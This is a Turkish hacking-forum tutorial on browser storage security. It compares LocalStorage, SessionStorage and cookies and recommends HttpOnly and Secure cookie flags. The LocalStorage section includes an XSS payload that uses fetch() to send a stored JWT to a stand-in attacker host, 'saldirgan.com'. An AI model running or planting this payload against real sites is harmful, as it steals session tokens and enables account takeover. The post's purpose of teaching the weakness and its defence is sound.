Esenlikler TurkHackTeam ailesi, ben Anka Red Team'dan Alex.
Bugün ki konumuz: Browser Storage Exploitation.
Hazırsanız, başlayalım...
Browser Storage Exploitation Nedir?
Bugünün web uygulamaları, kullanıcıyı tanımak için üç farklı depoya güveniyor: LocalStorage, SessionStorage ve Cookie.
Bu depoların içinde genellikle en kritik anahtarlar saklanır: JWT tokenler, oturum ID'leri.
Ama işin can alıcı noktası: Bu üç mekanizmanın güvenlik seviyesi aynı değil. Hatta aralarında uçurum var.
Özellikle iki büyük hata, saldırganın işini epey kolaylaştırır:
➤ Hassas verileri LocalStorage'a koymak
➤ HttpOnly flag'ini unutmak
Bu hatalar olduğunda, bir XSS açığı bulmak yetiyor. Saldırgan o verileri alıyor ve hesabınızı komple ele geçiriyor(Account Takeover).
1) LocalStorage
LocalStorage, tarayıcıyı kapatsanız bile veriyi silmeyen bir depo. Kullanıcı veya site temizlemedikçe orada kalır. Ve en önemlisi: JavaScript ile okunabilir. Yani XSS bulduk mu, token da bizim. Bu kadar basit.
- Kalıcılık: Silinmez, öylece durur.
- Boyut: 5-10 MB arası (tarayıcıya göre değişiyor)
- Güvenlik: XSS'e karşı savunmasız – JavaScript direkt erişir, engel yok
Nasıl kullanılır?
Geliştiriciler şöyle yazar:
JavaScript:
// Kaydet
localStorage.setItem("token", "kullanici_jwt");
// Oku
let token = localStorage.getItem("token");
// Sil
localStorage.removeItem("token");
// Hepsini temizle
localStorage.clear();
Peki saldırgan ne yapar? XSS bulduğu yere şunu yazar:
JavaScript:
fetch("https://saldirgan.com/cal", {
method: "POST",
body: localStorage.getItem("token")
});
Saldırgan, tokeni alır ve kendine göndertir ve bu sayede tokeni almış olur.
Sonuç: Token saldırgana gider. O da hesabınıza oturum açar.
2) SessionStorage
SessionStorage da aynı LocalStorage gibi JavaScript ile okunabilir. Tek farkı: Sekme kapanınca veri silinir. Ama XSS anında o sekme açıksa, veri oradadır ve alınır. Yani çok da fark yok pratikte.
- Kalıcılık: Sekme/tarayıcı kapanınca silinir
- Boyut: 5-10 MB
- Güvenlik: Yine XSS'e açık – JavaScript erişir, engelleyen bir şey yok
Nasıl kullanılır?
Aynı LocalStorage gibi, sadece isim farklı:
Saldırgan için farkı yok. Aynı kodu çalıştırır, veriyi alır. Tek avantajı: Kullanıcı sekmeyi kapattıysa veri yoktur.
Aynı LocalStorage gibi, sadece isim farklı:
JavaScript:
sessionStorage.setItem("gecici", "birsey");
let veri = sessionStorage.getItem("gecici");
sessionStorage.removeItem("gecici");
sessionStorage.clear();
Saldırgan için farkı yok. Aynı kodu çalıştırır, veriyi alır. Tek avantajı: Kullanıcı sekmeyi kapattıysa veri yoktur.
3) Cookie
Cookie, aslında en eski depolama yöntemi. Ama onu kurtaran iki bayrak var: HttpOnly ve Secure.
HttpOnly koyarsanız, JavaScript o cookie'yi göremez. XSS bulsa bile çalamaz. İşte bu yüzden oturum bilgileri HttpOnly cookie'de saklanmalı.
Secure ise cookie'nin sadece HTTPS üzerinden gideceğini garanti eder. Yani HTTP'de çalışmaz, bu da iyi.
Doğru kullanım örneği:
Kod:
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
Not: HttpOnly cookie'ye karşı CSRF(Cross-Site Request Forgery) saldırıları olabilir. Ama XSS'e karşı dayanıklıdır.
Son Söz
Şu basit gerçek: XSS, web'in en eski yaralarından biri ama hâlâ en ölümcülü. Ve geliştiriciler hâlâ aynı hataları tekrarlıyor.
Eğer web uygulaması hâlâ JWT'yi(Tokeni) LocalStorage'ye koyuyorsa ve XSS var ise, saldırganın işi kolay oluyor
Umarım anlamışsınızdır ve öğrennmişsinizdir.
Okuduğunuz için teşekkür eder ve iyi forumlar dilerim.


